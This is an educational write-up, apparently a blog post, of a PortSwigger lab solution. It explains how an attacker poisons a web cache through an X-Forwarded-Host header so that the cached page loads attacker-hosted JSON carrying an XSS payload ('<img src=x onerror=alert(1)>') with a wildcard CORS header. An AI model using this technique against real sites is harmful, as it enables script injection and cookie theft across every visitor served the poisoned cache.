Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.
It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.
Table of Contents
Summary of the Vulnerability
This lab demonstrates how a DOM-based vulnerability can be weaponized through web cache poisoning, even when the cache enforces strict cacheability rules. At its core, the issue arises because the cache does not sufficiently validate untrusted input before storing and serving responses. By carefully crafting a malicious request, an attacker can manipulate the response in such a way that it includes a payload (alert(document.cookie)
in this case). Once this poisoned response is cached, every subsequent user visiting the same page receives the attacker's injected content.
The challenge here is that the cache applies stricter criteria before storing responses, which forces the attacker to study and adapt to the cache's behavior.
Steps to Reproduce & Proof of Concept (PoC)
① Capture initial requests
- Open Burp Proxy and load the lab homepage in your browser.
- In Burp's Proxy → HTTP history you should see the homepage request and subsequent requests for:
- /resources/js/geolocate.js
- /resources/json/geolocate.json
- Send these requests to Repeater (select each one → Right-click → Send to Repeater).

② Inspect geolocate.js
- Open the
geolocate.js
response in Burpsuite HTTP History. - Locate the function call that constructs the JSON URL, for example:
initGeoLocate('//' + data.host + '/resources/json/geolocate.json');

- This shows the page fetches
geolocate.json
fromdata.host
— so controllingdata.host
redirects the JSON request to an attacker-controlled host.


③ Activate Param Miner (Burp Extension)
- In Burp: Extensions → Installed → Param Miner. If not installed, get it from BApp store and load it.

- In the Repeater view of the homepage request: Right-click → Extensions → Param Miner → Guess headers.

- Param Miner will try header-based variants and emit its findings (in Community edition you will see the extension output; in Professional you may also see an issue highlighted).


④ Inject the X-Forwarded-Host
header to point to the exploit server
- In the homepage request (Repeater), add this header:
X-Forwarded-Host: <exploit-server-hostname>
- Replace
<exploit-server-hostname>
with the lab's exploit server host (the PortSwigger exploit server that the lab provides). - Send the request several times. You are attempting to get the server to cache a response which now references the exploit server as
data.host
.

Why this works: the application uses the
data.host
value when building the JSON URL. By supplyingX-Forwarded-Host
we influence what is stored/used and — crucially — what the cache will later serve.
⑤ Host the malicious geolocate.json
on the exploit server
- On the exploit server, create or update
/resources/json/geolocate.json
with the following body:
{
"country": "<img src=x onerror=alert(1)>"
}
- This sets
country
to an HTML fragment which triggers a DOM XSS when the page injects it into the DOM unsafely.

⑥ Bypass CORS for the JSON response

- If the browser blocks your JSON fetch due to CORS, modify the exploit — server response to include:
Access-Control-Allow-Origin: *
- This wildcard allows the JSON resource to be fetched from any origin in the lab environment and eliminates the CORS error.

Note: In a real production environment, setting
Access-Control-Allow-Origin: *
is a security decision that must be made deliberately. For the lab, it is an allowed step to confirm the exploit.
⑦ Poison the cache (repeat to ensure cache writes)
- Return to Repeater and resend the homepage request with the
X-Forwarded-Host
header set to the exploit server (send multiple times). - Check the response headers for caching indicators. You want to see the cache behavior change, during poisoning attempts you may observe:
X-Cache: miss
initially while poisoning, thenX-Cache: hit
when serving cached content. - Keep sending until the server begins serving the poisoned content.
⑧ Verify in browser (trigger the poisoned path)

- In Repeater: right-click the homepage response → Show response in browser (or copy the lab homepage URL into your proxied browser).
- Load the homepage (or refresh). If poisoning succeeded and the cached response is served, the page will fetch the JSON from the exploit server (due to the cached
data.host
) and execute the injected DOM payload, producingalert(document.cookie)
. - When the popup appears (or when you see the expected JS behavior), the PoC is successful and the lab should be solved.

Impact
Because caches often sit at scale, serving thousands or even millions of requests — the exploit does not just affect one victim but can be amplified across a large user base. Combined with the fact that caching is used heavily in CDNs and reverse proxies, the potential reach of a single poisoned response can be enormous. The danger is especially severe when the payload abuses DOM vulnerabilities, since the attacker's script executes directly within the user's browser context.
📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- </> Github: havij13
🙏Your support is appreciated.